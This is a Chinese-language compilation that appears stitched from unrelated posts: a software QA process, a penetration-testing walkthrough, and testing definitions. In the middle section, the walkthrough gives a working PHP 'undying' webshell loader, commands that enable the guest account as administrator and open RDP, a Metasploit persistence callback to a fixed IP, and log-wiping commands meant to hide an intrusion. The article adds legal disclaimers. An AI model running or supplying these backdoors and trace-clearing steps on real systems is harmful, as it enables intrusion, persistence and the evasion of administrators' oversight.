测试流程：

产品整理需求，整理出需求文档
	
开发团队、测试团队、ui等进行需求评审
	
需求评审完之后分析需求文档，分析透彻之后，开始编写测试计划
	
测试组进行测试计划的评审，主要对测试计划安排不合理节点的调整，和其他的一些问题
	
测试计划评审完之后，测试人员编写测试用例
	
编写用例的同时，开发都在编写代码，前端也是
	
写完测试用例后，开发的代码已经完成一部分了，找开发要接口文档，对接口进行功能测试以及接口压测
	
等着前端和后台接口进行对接，对接之后生成可视化界面，在可视化界面里面进行冒烟测试
	
进行第一轮，第二轮、第三轮等的黑盒测试，功能测试，业务流程、业务逻辑、数据准确性的，等等一套的系统测试，每个阶段都要给个阶段性的阶段报告
	
性能测试、安全测试
	
然后进行验收测试，包含alpha测试和beta测试  
	
上线之后的循环测试

目录

渗透测试

信息收集

漏洞探测

漏洞利用

内网转发

内网渗透

痕迹清除

撰写渗透测试保告

如果想跟我一起讨论，那快加入我的知识星球吧！  

 



渗透测试

渗透测试就是利用我们所掌握的渗透知识，对网站进行一步一步的渗透，发现其中存在的漏洞和隐藏的风险，然后撰写一篇测试报告，提供给我们的客户。客户根据我们撰写的测试报告，对网站进行漏洞修补，以防止黑客的入侵！

渗透测试的前提是我们得经过用户的授权，才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话，这是违法的。去年的6.1日我国颁布了《网络安全法》，对网络犯罪有了法律约束，不懂的移步——> 网络安全法

渗透测试分为 白盒测试 和 黑盒测试

白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透，有点类似于代码分析
	
黑盒测试就是只告诉我们这个网站的url，其他什么都不告诉，然后让你去渗透，模拟黑客对网站的渗透
我们现在就模拟黑客对一个网站进行渗透测试，这属于黑盒测试，我们只知道该网站的URL，其他什么的信息都不知道。

接下来，我就给大家分享下黑盒渗透测试的流程和思路！

当我们确定好了一个目标进行渗透之后，第一步该做的是什么呢？

信息收集

第一步做的就是信息收集，正所谓知己知彼百战百胜，我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集，我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息，以及信息收集过程中需要用到的工具，传送门——> 渗透测试之信息收集

漏洞探测

当我们收集到了足够多的信息之后，我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞，比如：

SQL注入    ， 传送门——>SQL注入详解
	
XSS跨站脚本  ，传送门——>XSS(跨站脚本)漏洞详解
	
CSRF跨站请求伪造  ,  传送门——>CSRF跨站请求伪造攻击
	
XXE漏洞，传送门——>XXE(XML外部实体注入)漏洞
	
SSRF服务端请求伪造漏洞，传送门——>SSRF(服务端请求伪造)漏洞
	
文件包含漏洞  ,  传送门——>文件包含漏洞
	
文件上传漏洞 , 传送门——>文件上传漏洞
	
文件解析漏洞，传送门——>文件解析漏洞
	
远程代码执行漏洞 , 传送门——> 远程代码执行漏洞
	
CORS跨域资源共享漏洞，传送门——>CORS跨域资源共享漏洞
	
越权访问漏洞，传送门——>越权访问漏洞
	
目录浏览漏洞和任意文件读取/下载漏洞，传送门——>目录浏览漏洞和任意文件读取/下载漏洞
	
struts2漏洞，传送门——>Struts2漏洞
	
JAVA反序列化漏洞，传送门——>JAVA反序列化漏洞
这些是网站经常发现的一些漏洞，还有一些网站漏洞，这里我就不一一列举出来了。

网站漏洞扫描工具也有很多，比如：

AWVS  ，传送门——> AWVS扫描器的用法
	
AppScan ，传送门——> AppScan扫描器的用法
	
Owasp-Zap ，传送门——> OWASP-ZAP扫描器的使用
	
Nessus ，传送门——> Nessus扫描器的使用
网站漏洞扫描工具我就列举这几种，还有很多，最常用的是这几个！

漏洞利用

当我们探测到了该网站存在漏洞之后，我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具，很多时候，通过一个漏洞我们很难拿到网站的webshell，我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下：

SQL注入 ， 传送门——> Sqlmap的使用

XSS跨站脚本，传送门——> Beef-XSS的使用

抓包改包工具，——> Burpsuite工具的使用  、  Fidder抓包软件的使用

文件上传漏洞，上传漏洞的话，我们一般会上传一句话木马上去，进而再获得webshell，传送门——> Webshell和一句话木马

但是，获得了webshell后，一般权限很低，所以我们需要提权，可以选择反弹一个MSF类型的shell提权：Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马，也可以反弹一个CobaltStrike类型的shell：渗透测试神器Cobalt Strike的使用， 也可以MSF和CobaltStrike联动：MSF和CobaltStrike联动 也可以使用其他提权：Windows提权 、 Linux提权

内网转发

当我们获取到了网站的Webshell之后，如果我们想获取该主机的有关信息，我们可以将该主机的webshell换成MSF的shell。直接生成一个木马，然后在菜刀中执行该木马，我们就能接收到一个MSF类型的shell了。

如果我们还想进一步的探测内网主机的信息的话，我们就需要进行内网转发了。我们是不能直接和内网的主机通信的，所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

内网转发 
	
内网转发随想 
	
内网穿透工具FRP的使用
内网横向渗透

当我们在获取了外网服务器的权限，进入该系统后，我们要想尽办法从该服务器上查找到我们想要的信息。

对于windows主机，我们应该多去翻翻目录，或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中，或者是桌面上。我们还可以查找数据库的连接文件，查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码，或者是自己创建了新用户后，我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大，如果此时服务器管理员也在登录，而你此时通过远程桌面登录的话，会将管理员挤掉，而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话，我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户，然后将其加入 administrators 组里面，用 guest 用户身份登录。在RDP远程登录后，我们可以查看其他用户桌面上和其他目录有哪些软件，我们要找的目标有以下。

FTP相关的软件
	
数据库相关的软件
	
打开浏览器，查看历史记录，查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码
从该主机上找到的账号密码，我们可以做一个字典，在对内网其他机器进行爆破的时候，很有可能是同密码。

net user  guest  /active:yes                      #激活guest用户
net localgroup  administrators  guest  /add       #将guest用户添加到
net user guest    密码                            #更改guest用户密码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

对于Linux主机，我们可以查看开放的端口号，开放的服务，与其建立连接的内网主机。查看目录，查找网站数据库连接密码。总之，就是尽可能的多查找一些账号密码，这对于内网的账号爆破非常有用。

在搭建了隧道可以通内网后，我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描，可以图形化界面的话，可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点，不然代理很容易崩了。如果使用命令行扫描器的话，可以使用S扫描器。在扫描了内网资产和端口开放情况后，对于445端口，就可以打一波MS17_010。但是注意通过代理打445，和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口，可以打一波CVE-2019-0708，传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口，可以尝试爆破，利用之前收集到的账号密码成功率更高哦。

关于内网渗透(域环境和非域环境)：内网渗透

内网的横向渗透MSF比较好用：

后渗透阶段之基于MSF的路由转发
	
后渗透阶段之基于MSF的内网主机探测
内网渗透的ICMP和DNS隧道搭建：

利用DNS进行命令控制和搭建隧道
	
利用ICMP进行命令控制和隧道传输
相关文章：内网渗透测试之域渗透详解！

                  内网渗透中mimikatz的使用

权限维持

在拿到目标主机的权限后，很有可能当时我们并不能获取到想要的东西，需要进行长期的潜伏，特别是在内网渗透中，需要进行长期的信息收集。这时，权限维持就很重要了。我们需要维持住获得的现有权限。

Web后门

1：隐藏后门文件(将文件设置为隐藏)

2：不死马，该脚本每5秒向服务器创建test.php，并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

<?php
    set_time_limit(0);//程序执行时间
    ignore_user_abort(1);//关掉终端后脚本仍然运行
    unlink(__FILE__);//文件完整名
    while(1){
        file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
        $b=array_keys($a)[0];
        eval($b);?>');
        sleep(5);
    }
?>

3： 404页面隐藏后门，或者在其他自带文件中插入后门代码

注：以上几种后门方法均能被D盾等工具检测到

Windows系统

1：建立隐藏用户，在用户名后加 $ 

2：在开机启动目录下放置木马文件，只要目标机器重启，将回连我们的远控

3：MSF里的 persistence 模块，执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

#反弹时间间隔是5s 会自动连接192.168.27的4444端口，缺点是容易被杀毒软件查杀
run persistence -X -i 5 -p 8888 -r 192.168.10.27  
 
#然后它就在目标机新建了这个文件：C:\Windows\TEMP\CJzhFlNOWa.vbs ，并把该服务加入了注册表中，只要开机就会启动

4：在域环境下，想办法获得 krbtgt 用户的哈希，该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

5：shift后门

6：远程桌面会话劫持 

Linux系统

1：SSH后门

2：crontab定时任务

3：SSH公钥

4：创建SUID=0的用户

痕迹清除

当我们达到了目的之后，有时候只是为了黑入网站挂黑页，炫耀一下；或者在网站留下一个后门，作为肉鸡，没事的时候上去溜达溜达；亦或者挂入挖矿木马；但是大家千万不要干这些事，这些都是违法的！

我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹，并不能完全清除，完全清除入侵痕迹是不可能的！主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查，无论你怎么清除，还是能查到的。

最主要还是要以隐藏自身身份为主，最好的手段是在渗透前挂上代理，然后在渗透后痕迹清除。

Windows系统

1：如果是windows系统，可用MSF中的 clearev 命令清除痕迹

2：如果3389远程登录过，需要清除mstsc痕迹

3：执行命令清除日志：

del %WINDR%\* .log /a/s/q/f

4：如果是web应用，找到web日志文件，删除 

相关文章：WINDOWS之入侵痕迹清理总结

Linux系统

1：如果是Linux系统，在获取权限后，执行以下命令，不会记录输入过的命令

export HISTFILE=/dev/null export HISTSIZE=0

2：删除 /var/log 目录下的日志文件

3：如果是web应用，找到web日志文件，删除 

撰写渗透测试保告

在完成了渗透测试之后，我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞，以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险，防止被黑客攻击！

我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境，大家切记不要利用本篇文章进行违法犯罪行为！

未完待续。。。。。。

相关文章：红蓝对抗经验小结

1.软件测试的定义： 

使用人工或自动手段，来运行或测试某个系统的过程。其目的在于检验它是否满足规定的需求或弄清预期结果与实际结果之间的差别。 

百度百科定义：软件测试（英语：Software Testing），描述一种用来促进鉴定软件的正确性、完整性、安全性和质量的过程。换句话说，软件测试是一种实际输出与预期输出间的审核或者比较过程。 

软件测试的经典定义是：在规定的条件下对程序进行操作，以发现程序错误，衡量软件质量，并对其是否能满足设计要求进行评估的过程。

2.软件测试的目的： 

测试是程序的执行过程，目的在于发现错误。 

确保产品完成了它所承诺或公布的功能 

确保产品满足性能和效率的要求 

确保产品是健壮的和适应用户环境的

3.软件测试的意义： 

解放程序员和售后服务人员 

软件测试可以降低软件质量风险，使程序员能够更专心于解决程序的算法和效率；同时经过严格检验的完整产品也减轻了售后服务人员的工作量。

4.软件测试流程： 

  需求分析 

  制订测试计划 

  设计测试用例与编写 

  实施测试 

  提交缺陷报告 

  生成测试总结和报告

5.测试流程图： 




单元测试 集中对用源代码实现的每一个程序单元进行测试，检查每个程序模块是否实现了规定的功能，保证其能正常工作。

集成测试是把已进行过单元测试的模块组装起来进行测试，目的在于检验与软件设计相关的程序结构问题。

确认测试是检验所开发的软件是否满足了需求规格说明中确定了的各种功能和性能需求，以及软件配置是否完全和正确。

系统测试的主要任务是把已经经过确认的软件纳入实际运行环境，与其他系统的成分（如数据库、硬件和操作人员）组合在一起进行测试。

验收测试是检验软件产品的最后一关，在这一环节，测试主要从用户的角度着手，参与者主要是用户和少数程序开发人员。

6.测试工作流程： 

（1）产品人员设计完原型和文档后，召开需求评审会，参会人员有开发，测试，产品。需求评审后之后，会产生一个完善之后的原型和需求文档。 

（2）测试组负责人需要依据需求文档，项目周期、项目特点、工具、人员安排制定测试计划。 

（3）测试人员就开始写测试用例（需要有冒烟测试用例和普通的测试用例），在写用例过程中会产生一些疑问，要及时和产品人员确认清楚，并要求他们回归需求文档。（开发就开始概要设计和编码）。 

（4）测试人员完成用例后，组织测试用例评审。参与人员有开发，测试，产品。 

（5）等待开发提交测试版本，提交后优先执行冒烟测试。冒烟测试的结果，需要邮件周知相关人，开发，测试，产品，其中重要的是开发领导，测试领导和产品。冒烟不通过等待开发重新提交版本，冒烟通过了进入执行用例进行测试阶段。 

（6）测试阶段会发现一些问题，比如需求定义不明确，业务逻辑有冲突，要和相关人员沟通并定义清晰，得到结论后必须要求产品人员更新文档。 

（7）每个人负责的模块测试结束后，小组内部要进行交叉测试（此时会进行一些性能测试）。 

（8）测试通过后提交产品验收。产品验收期间协助产品验收。 

（9）产品验收完毕后，项目部署仿真环境。此时需要线上的账号，所以一般也是产品和业务人员验收为主，各个公司情况不同，有些会给测试人员分配账号，进行基本流程的测试（细节视公司情况而定）。 

（10）仿真环境ok了，部署线上。 

（11）有些公司从测试环境提交验收的时间点开始，会要求写一些操作手册之类的文档，一些测试的报告，比如bug统计，bug的覆盖。

7.按照开发阶段分，可以分为哪几 种？按照测试手段来分为几种？测试按照技术划分，可以分大为同为哪几种？ 

单元测试、集成测试、系统测试、确认测试，验收测试 

分为手工测试和自动化测试 

黑盒，白盒，灰盒

系统测试流程主要构成：计划、设计、实现、执行四个阶段；

一般分为10个阶段：测试计划设计、测试需求分析、测试策略设计、测试规程设计、测试用例设计、配置测试环境、执行测试用例、缺陷跟踪回归、测试报告输出、测试结束活动。


1.系统测试流程之测试计划设计


测试计划设计编写模板之一如下：



软件资源包括：操作系统资源（Windows、Linux、Unix、MAC）、数据库（SQL Server、Mysql、Oracle、Sybase、DB2）、Web服务器（IIS、Tomcat、JBOSS、RESIN、Weblogic、Websphere）和需加版本号。

硬件资源包括：硬件服务器、手机、平板和测试设备。

注意：测试计划设计主要用于管理的统筹，是由测试经理和主管来定义，普通测试工程师不参与测试计划的制定和编写，故在简历中不写。


2.系统测试流程之测试需求管理





3.系统测试流程之测试策略


由测试人员编写


4.系统测试流程之测试规程设计





5.系统测试流程之测试用例设计


Mercury Quality Center9.0(QC Explorer)


6.系统测试流程之配置测试环境





7.系统测试流程之测试用例执行





8.系统测试流程之缺陷跟踪回归


在QC软件中，测试员发现问题，设置status=open给开发者；开发人员修改后，设置status=fixed给原测试员。如果原测试员发现测试仍然存在，重新设置status=reopen给开发者。OK后，设置为close。


9.系统测试流程之测试报告输出




一般测试工程师写工作日报，测试经理编写系统测试报告。


10.系统测试流程之测试结束活动